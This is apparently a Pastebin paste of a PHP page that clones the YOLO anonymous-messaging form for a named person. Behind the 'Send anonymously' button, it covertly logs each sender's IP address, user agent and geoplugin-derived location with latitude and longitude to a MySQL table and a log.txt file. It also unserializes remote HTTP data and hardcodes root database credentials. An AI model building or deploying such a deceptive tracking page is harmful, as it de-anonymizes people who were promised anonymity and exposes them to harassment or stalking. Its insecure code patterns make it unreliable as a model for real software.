Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $host = '127.0.0.1';
- $db = 'mydb';
- $user = 'root';
- $pass = 'root';
- $charset = 'utf8mb4';
- $table = 'my_table';
- $dsn = "mysql:host=$host;dbname=$db;charset=$charset";
- $options = [
- PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
- PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
- PDO::ATTR_EMULATE_PREPARES => false
- ];
- try {
- $pdo = new PDO($dsn, $user, $pass, $options);
- } catch (\PDOException $e) {
- throw new \PDOException($e->getMessage(), (int) $e->getCode());
- }
- //get user ip address details with geoplugin.net
- //get user ip address
- $ip_address = $_SERVER['REMOTE_ADDR'];
- //get user ip address details with geoplugin.net
- $geopluginURL = 'http://www.geoplugin.net/php.gp?id=' . $ip_address;
- $addrDetailsArr = unserialize(file_get_contents($geopluginURL));
- //get city name by return array
- $city = $addrDetailsArr['geoplugin_city'];
- //get country name by return array
- $country = $addrDetailsArr['geoplugin_countryName'];
- if (isset($_POST['text'])) {
- if (!empty($_POST['text'])) {
- $text = $_POST['text'];
- $fileName = 'log.txt';
- $text = [
- 'from' => $_SERVER['REMOTE_ADDR'],
- 'user_agent' => $_SERVER['HTTP_USER_AGENT'],
- 'city' => $addrDetailsArr['geoplugin_city'],
- 'continent' => $addrDetailsArr['geoplugin_continentName'],
- 'country_code' => $addrDetailsArr['geoplugin_countryCode'],
- 'country' => $country,
- 'timezone' => $addrDetailsArr['geoplugin_timezone'],
- 'currency' => $addrDetailsArr['geoplugin_currencyCode'],
- 'lalitude' => $addrDetailsArr['geoplugin_latitude'],
- 'longitude' => $addrDetailsArr['geoplugin_longitude'],
- 'message' => $text
- ];
- $indexDatas = implode(', ', array_keys($text));
- $indexDatas = preg_replace(
- '/' . preg_quote($indexDatas, '/') . '$/',
- '',
- $indexDatas
- );
- $query = "INSERT INTO $table ($indexDatas) VALUES(:from, :user_agent, :city, :continent, :country_code, :country, :timezone, :currency, :lalitude, :longitude, :message)";
- $statement = $pdo->prepare($query);
- $statement->execute($text);
- $textJson = json_encode(
- $text,
- JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT
- );
- $write = fopen($fileName, 'a+');
- fprintf($write, $textJson . PHP_EOL);
- fclose($write);
- }
- }
- ?>
- <html lang="en">
- <head>
- <meta charset="utf-8" />
- <title>YOLO</title>
- <meta name="robots" content="noindex,nofollow" />
- <meta name="description" content="Send anonymous messages to Kyle Stokes" />
- <meta
- name="og:image"
- content="https://d1efvhlbiqueiq.cloudfront.net/favicon.png"
- />
- <link
- rel="stylesheet"
- href="https://d1efvhlbiqueiq.cloudfront.net/css/style.min.css?v=1.0"
- />
- <meta name="viewport" content="width=device-width, initial-scale=1" />
- <link
- rel="shortcut icon"
- type="image/x-icon"
- href="https://d1efvhlbiqueiq.cloudfront.net/favicon.png"
- />
- </head>
- <body>
- <div class="policy">
- âš ï¸ YOLO is for positive feedback only. No bullying. If you send harassing
- messages to our users, you will be banned from the service. Happy Yoloing!
- 🤘
- </div>
- <div class="send-message" id="send-message">Ask me anything</div>
- <div
- class="bitmoji"
- style="background: url('https://sdk.bitmoji.com/render/panel/3b30dba0-fdfc-494d-ab47-49d361fecc30-AS1tcjanhKw2qU3UHJT7f5AKDg_w-v1.png?transparent=1&palette=1'); background-size: cover;"
- ></div>
- <div class="text-box">
- <form id="form" method="POST" action="">
- <input id="userId" type="hidden" name="userId" value="qepYuX8kS9" />
- <textarea
- id="text"
- maxlength="240"
- name="text"
- placeholder="Type your message here"
- autofocus
- ></textarea>
- <button type="submit" id="send-button">Send anonymously</button>
- <div id="loader">
- <div class="lds-ring">
- </div>
- </div>
- </form>
- </div>
- <div class="error">This is an error.</div>
- <div class="watermark">Powered by YOLO</div>
- <div class="download">
- <div class="logo"></div>
- <div class="title">
- Start receiving anonymous messages on Snapchat now
- </div>
- <a href="https://onyolo.com/download"
- ><div class="download-button">Download the app</div></a
- >
- </div>
- <script>
- window.rSiteKey = "6Lc8pbEUAAAAAH1vRl91BAwIZruc_awYoPLL_9p1";
- </script>
- <script src="https://www.google.com/recaptcha/api.js?render=6Lc8pbEUAAAAAH1vRl91BAwIZruc_awYoPLL_9p1"></script>
- <script>
- grecaptcha.ready(function() {
- grecaptcha
- .execute("6Lc8pbEUAAAAAH1vRl91BAwIZruc_awYoPLL_9p1", {
- action: "message"
- })
- .then(function(token) {});
- });
- </script>
- <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.0/jquery.min.js"></script>
- <script src="https://unpkg.com/axios/dist/axios.min.js"></script>
- <script
- src="/public/js/script.min.js"
- data-rsite-key="6Lc8pbEUAAAAAH1vRl91BAwIZruc_awYoPLL_9p1"
- ></script>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement